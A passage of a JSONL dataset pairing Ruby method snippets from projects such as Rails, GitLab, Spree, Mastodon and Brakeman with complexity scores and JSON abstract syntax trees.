"==\",{\"type\":\"str\",\"children\":[\"refunded\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"search_params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"refunded\"]},{\"type\":\"str\",\"children\":[\"1\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"search_params\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"payment_state_eq\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"search_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"payment_state_eq\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"partially_refunded\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"search_params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"partially_refunded\"]},{\"type\":\"str\",\"children\":[\"1\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"search_params\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"payment_state_eq\"]}]}]},null]}]},{\"type\":\"lvar\",\"children\":[\"search_params\"]}]}]}","id":"d83dbe86-edfa-4a4c-b35e-7ecdda5de543"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/unleash.rb","start_line":76,"raw_source":"def unleash_app_name\n        env['HTTP_UNLEASH_APPNAME'] || params[:app_name]\n      end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"unleash_app_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"HTTP_UNLEASH_APPNAME\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"app_name\"]}]}]}]}","id":"421d144d-2d36-4ac7-bc2f-7b5be43d6364"}
{"repo_name":"spree","file_path":"./repos/spree/api/app/controllers/spree/api/v2/storefront/products_controller.rb","start_line":14,"raw_source":"def collection\n            @collection ||= collection_finder.new(scope: scope, params: finder_params).execute\n          end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"collection\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@collection\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"collection_finder\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scope\"]},{\"type\":\"send\",\"children\":[null,\"scope\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"send\",\"children\":[null,\"finder_params\"]}]}]}]},\"execute\"]}]}]}","id":"510f1bc9-c034-4433-8aa8-fae3a90dd109"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/ignore.rb","start_line":103,"raw_source":"def test_note_for_hash\n    warning =  { fingerprint: \"97ecaa5677c8eadaed09217a704e59092921fab24cc751e05dfb7b167beda2cf\" }\n\n    note = config.note_for warning\n\n    refute note.empty?\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_note_for_hash\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"warning\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fingerprint\"]},{\"type\":\"str\",\"children\":[\"97ecaa5677c8eadaed09217a704e59092921fab24cc751e05dfb7b167beda2cf\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"note\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"config\"]},\"note_for\",{\"type\":\"lvar\",\"children\":[\"warning\"]}]}]},{\"type\":\"send\",\"children\":[null,\"refute\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"note\"]},\"empty?\"]}]}]}]}","id":"d736e03b-7d8e-4d9f-b384-ef89e55fedff"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/checks/check_sanitize_config_cve.rb","start_line":107,"raw_source":"def has_tag? exp, tag\n    tag_sym = tag.to_sym\n\n    exp.each_sexp do |e|\n      if string? e and e.value == tag\n        return true\n      elsif symbol? e and e.value == tag_sym\n        return true\n      end\n    end\n\n    false\n  end","complexity_score":16.5,"ast_json":"{\"type\":\"def\",\"children\":[\"has_tag?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exp\"]},{\"type\":\"arg\",\"children\":[\"tag\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tag_sym\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},\"to_sym\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"each_sexp\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"e\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"string?\",{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"value\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"tag\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"symbol?\",{\"type\":\"lvar\",\"children\":[\"e\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"value\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"tag_sym\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]}]}]},{\"type\":\"false\",\"children\":[]}]}]}","id":"10896e83-0a4b-41cb-83e3-52a6c7c7c0ca"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/fixtures_test.rb","start_line":1409,"raw_source":"def test_supports_join_tables\n    assert(pirates(:blackbeard).parrots.include?(parrots(:george)))\n    assert(pirates(:blackbeard).parrots.include?(parrots(:louis)))\n    assert(parrots(:george).pirates.include?(pirates(:blackbeard)))\n  end","complexity_score":19.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_supports_join_tables\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pirates\",{\"type\":\"sym\",\"children\":[\"blackbeard\"]}]},\"parrots\"]},\"include?\",{\"type\":\"send\",\"children\":[null,\"parrots\",{\"type\":\"sym\",\"children\":[\"george\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pirates\",{\"type\":\"sym\",\"children\":[\"blackbeard\"]}]},\"parrots\"]},\"include?\",{\"type\":\"send\",\"children\":[null,\"parrots\",{\"type\":\"sym\",\"children\":[\"louis\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parrots\",{\"type\":\"sym\",\"children\":[\"george\"]}]},\"pirates\"]},\"include?\",{\"type\":\"send\",\"children\":[null,\"pirates\",{\"type\":\"sym\",\"children\":[\"blackbeard\"]}]}]}]}]}]}","id":"b15854ef-682e-4e38-8ada-5e975d5de421"}
{"repo_name":"puma","file_path":"./repos/puma/lib/puma/rack/builder.rb","start_line":270,"raw_source":"def map(path, &block)\n      @map ||= {}\n      @map[path] = block\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"map\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@map\"]},{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@map\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"a9882b1f-edcf-40ac-b7f1-641731591a82"}
{"repo_name":"rails","file_path":"./repos/rails/tools/rail_inspector/lib/rail_inspector/configuring.rb","start_line":51,"raw_source":"def initialize(rails_path)\n      @errors = []\n      @files = Files.new(rails_path)\n\n      @files[:application_configuration] = \"railties/lib/rails/application/configuration.rb\"\n      @files[:doc_path] = \"guides/source/configuring.md\"\n      @files[:rails_version] = \"RAILS_VERSION\"\n\n      @files[:new_framework_defaults] = \"railties/lib/rails/generators/rails/app/templates/config/initializers/new_framework_defaults_%{version}.rb.tt\" % {\n        version: rails_version.tr(\".\", \"_\")\n      }\n    end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rails_path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@errors\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@files\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Files\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"rails_path\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@files\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"application_configuration\"]},{\"type\":\"str\",\"children\":[\"railties/lib/rails/application/configuration.rb\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@files\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"doc_path\"]},{\"type\":\"str\",\"children\":[\"guides/source/configuring.md\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@files\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"rails_version\"]},{\"type\":\"str\",\"children\":[\"RAILS_VERSION\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@files\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"new_framework_defaults\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"railties/lib/rails/generators/rails/app/templates/config/initializers/new_framework_defaults_%{version}.rb.tt\"]},\"%\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"version\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rails_version\"]},\"tr\",{\"type\":\"str\",\"children\":[\".\"]},{\"type\":\"str\",\"children\":[\"_\"]}]}]}]}]}]}]}]}","id":"5b8c4340-4256-4c09-94da-e7fc2fae9c65"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/lib/active_model/attribute_methods.rb","start_line":226,"raw_source":"def alias_attribute_method_definition(code_generator, pattern, new_name, old_name) # :nodoc:\n        method_name = pattern.method_name(new_name).to_s\n        target_name = pattern.method_name(old_name).to_s\n        parameters = pattern.parameters\n\n        mangled_name = build_mangled_name(target_name)\n\n        call_args = []\n        call_args << parameters if parameters\n\n        define_call(code_generator, method_name, target_name, mangled_name, parameters, call_args, namespace: :alias_attribute, as: method_name)\n      end","complexity_score":14.5,"ast_json":"{\"type\":\"def\",\"children\":[\"alias_attribute_method_definition\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"code_generator\"]},{\"type\":\"arg\",\"children\":[\"pattern\"]},{\"type\":\"arg\",\"children\":[\"new_name\"]},{\"type\":\"arg\",\"children\":[\"old_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"method_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pattern\"]},\"method_name\",{\"type\":\"lvar\",\"children\":[\"new_name\"]}]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"target_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pattern\"]},\"method_name\",{\"type\":\"lvar\",\"children\":[\"old_name\"]}]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"parameters\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pattern\"]},\"parameters\"]}]},{\"type\":\"lvasgn\",\"children\":[\"mangled_name\",{\"type\":\"send\",\"children\":[null,\"build_mangled_name\",{\"type\":\"lvar\",\"children\":[\"target_name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"call_args\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parameters\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"call_args\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"parameters\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"define_call\",{\"type\":\"lvar\",\"children\":[\"code_generator\"]},{\"type\":\"lvar\",\"children\":[\"method_name\"]},{\"type\":\"lvar\",\"children\":[\"target_name\"]},{\"type\":\"lvar\",\"children\":[\"mangled_name\"]},{\"type\":\"lvar\",\"children\":[\"parameters\"]},{\"type\":\"lvar\",\"children\":[\"call_args\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace\"]},{\"type\":\"sym\",\"children\":[\"alias_attribute\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"as\"]},{\"type\":\"lvar\",\"children\":[\"method_name\"]}]}]}]}]}]}","id":"e1af7baf-3cba-4274-b276-9b3ad710f948"}
{"repo_name":"spree","file_path":"./repos/spree/api/app/controllers/spree/api/v2/platform/orders_controller.rb","start_line":66,"raw_source":"def destroy\n            result = destroy_service.call(order: resource)\n\n            if result.success?\n              head 204\n            else\n              render_error_payload(result.error)\n            end\n          end","complexity_score":10.23,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"destroy_service\"]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order\"]},{\"type\":\"send\",\"children\":[null,\"resource\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"success?\"]},{\"type\":\"send\",\"children\":[null,\"head\",{\"type\":\"int\",\"children\":[204]}]},{\"type\":\"send\",\"children\":[null,\"render_error_payload\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"error\"]}]}]}]}]}","id":"35974fcb-16ec-435e-8ee6-ba6f21bac833"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_many_associations_test.rb","start_line":2058,"raw_source":"def test_replace_with_less_and_dependent_nullify\n    num_companies = Company.count\n    companies(:rails_core).companies = []\n    assert_equal num_companies, Company.count\n  end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_replace_with_less_and_dependent_nullify\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"num_companies\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Company\"]},\"count\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"companies\",{\"type\":\"sym\",\"children\":[\"rails_core\"]}]},\"companies=\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"num_companies\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Company\"]},\"count\"]}]}]}]}","id":"be9d0a04-ff7e-4b24-979e-5700c795efb7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/user.rb","start_line":2227,"raw_source":"def closest_non_global_group_notification_setting(group)\n    return unless group\n\n    notification_level = NotificationSetting.levels[:global]\n\n    if notification_settings.loaded?\n      group.self_and_ancestors_asc.find do |group|\n        notification_setting = notification_setting_find_by_source(group)\n\n        next unless notification_setting\n        next if NotificationSetting.levels[notification_setting&.level] == notification_level\n        break notification_setting if notification_setting.present?\n      end\n    else\n      group.notification_settings(hierarchy_order: :asc).where(user: self).where.not(level: notification_level).first\n    end\n  end","complexity_score":32.4,"ast_json":"{\"type\":\"def\",\"children\":[\"closest_non_global_group_notification_setting\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"notification_level\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NotificationSetting\"]},\"levels\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"global\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"notification_settings\"]},\"loaded?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"self_and_ancestors_asc\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"notification_setting\",{\"type\":\"send\",\"children\":[null,\"notification_setting_find_by_source\",{\"type\":\"lvar\",\"children\":[\"group\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notification_setting\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NotificationSetting\"]},\"levels\"]},\"[]\",{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notification_setting\"]},\"level\"]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"notification_level\"]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notification_setting\"]},\"present?\"]},{\"type\":\"break\",\"children\":[{\"type\":\"lvar\",\"children\":[\"notification_setting\"]}]},null]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"notification_settings\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"hierarchy_order\"]},{\"type\":\"sym\",\"children\":[\"asc\"]}]}]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"self\",\"children\":[]}]}]}]},\"where\"]},\"not\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"level\"]},{\"type\":\"lvar\",\"children\":[\"notification_level\"]}]}]}]},\"first\"]}]}]}]}","id":"648780c4-9228-475d-9968-f05b234391cf"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/account_alias.rb","start_line":42,"raw_source":"def add_to_account\n    account.update(also_known_as: account.also_known_as + [uri])\n  end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"add_to_account\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"account\"]},\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"also_known_as\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"account\"]},\"also_known_as\"]},\"+\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"uri\"]}]}]}]}]}]}]}","id":"2752bf13-84dd-468a-a5bb-d9170863e8cf"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/cloud_connector/service_access_token.rb","start_line":25,"raw_source":"def refresh_required?\n      expires_at < 2.days.from_now\n    end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"refresh_required?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expires_at\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[2]},\"days\"]},\"from_now\"]}]}]}","id":"b245ba1d-2277-4552-ad2c-03c8c0be64cd"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/rails/generators/active_record/migration.rb","start_line":42,"raw_source":"def configured_migrate_path\n          return unless database = options[:database]\n\n          config = ActiveRecord::Base.configurations.configs_for(\n            env_name: Rails.env,\n            name: database\n          )\n\n          Array(config&.migrations_paths).first\n        end","complexity_score":12.2,"ast_json":"{\"type\":\"def\",\"children\":[\"configured_migrate_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"database\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"database\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"configurations\"]},\"configs_for\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"env\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"database\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"Array\",{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"migrations_paths\"]}]},\"first\"]}]}]}","id":"1e3786ab-da96-4b0a-90a3-9e279873264e"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/datatype_test.rb","start_line":58,"raw_source":"def test_update_oid\n    new_value = 2147483648\n    @first_oid.obj_id = new_value\n    assert @first_oid.save\n    assert @first_oid.reload\n    assert_equal new_value, @first_oid.obj_id\n  end","complexity_score":8.85,"ast_json":"{\"type\":\"def\",\"children\":[\"test_update_oid\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"new_value\",{\"type\":\"int\",\"children\":[2147483648]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@first_oid\"]},\"obj_id=\",{\"type\":\"lvar\",\"children\":[\"new_value\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@first_oid\"]},\"save\"]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@first_oid\"]},\"reload\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"new_value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@first_oid\"]},\"obj_id\"]}]}]}]}","id":"744e5b7b-75a2-425f-be60-633517e1d5bb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/preloaders/runner_policy_preloader.rb","start_line":34,"raw_source":"def groups\n        runners.flat_map(&:groups).uniq\n      end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"groups\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"runners\"]},\"flat_map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"groups\"]}]}]},\"uniq\"]}]}","id":"5ebd873f-6855-4f1e-9dbe-3ca926e0e6c2"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/admin/export_domain_blocks_controller.rb","start_line":73,"raw_source":"def export_data\n      CSV.generate(headers: export_headers, write_headers: true) do |content|\n        DomainBlock.with_limitations.order(id: :asc).each do |instance|\n          content << [instance.domain, instance.severity, instance.reject_media, instance.reject_reports, instance.public_comment, instance.obfuscate]\n        end\n      end\n    end","complexity_score":17.8,"ast_json":"{\"type\":\"def\",\"children\":[\"export_data\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CSV\"]},\"generate\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"headers\"]},{\"type\":\"send\",\"children\":[null,\"export_headers\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"write_headers\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"content\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DomainBlock\"]},\"with_limitations\"]},\"order\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"asc\"]}]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"instance\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instance\"]},\"domain\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instance\"]},\"severity\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instance\"]},\"reject_media\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instance\"]},\"reject_reports\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instance\"]},\"public_comment\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"instance\"]},\"obfuscate\"]}]}]}]}]}]}","id":"9477c620-858c-446b-97ff-7ac2f6c6c560"}
{"repo_name":"hooks","file_path":"./repos/hooks/lib/hooks/plugins/auth/base.rb","start_line":70,"raw_source":"def self.find_header_value(headers, header_name)\n          return nil unless headers.respond_to?(:each)\n          return nil if header_name.nil? || header_name.strip.empty?\n\n          target_header = header_name.downcase\n          headers.each do |key, value|\n            if key.to_s.downcase == target_header\n              return value.to_s\n            end\n          end\n          nil\n        end","complexity_score":17.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"find_header_value\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"headers\"]},{\"type\":\"arg\",\"children\":[\"header_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"headers\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"each\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header_name\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header_name\"]},\"strip\"]},\"empty?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"target_header\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"header_name\"]},\"downcase\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"headers\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"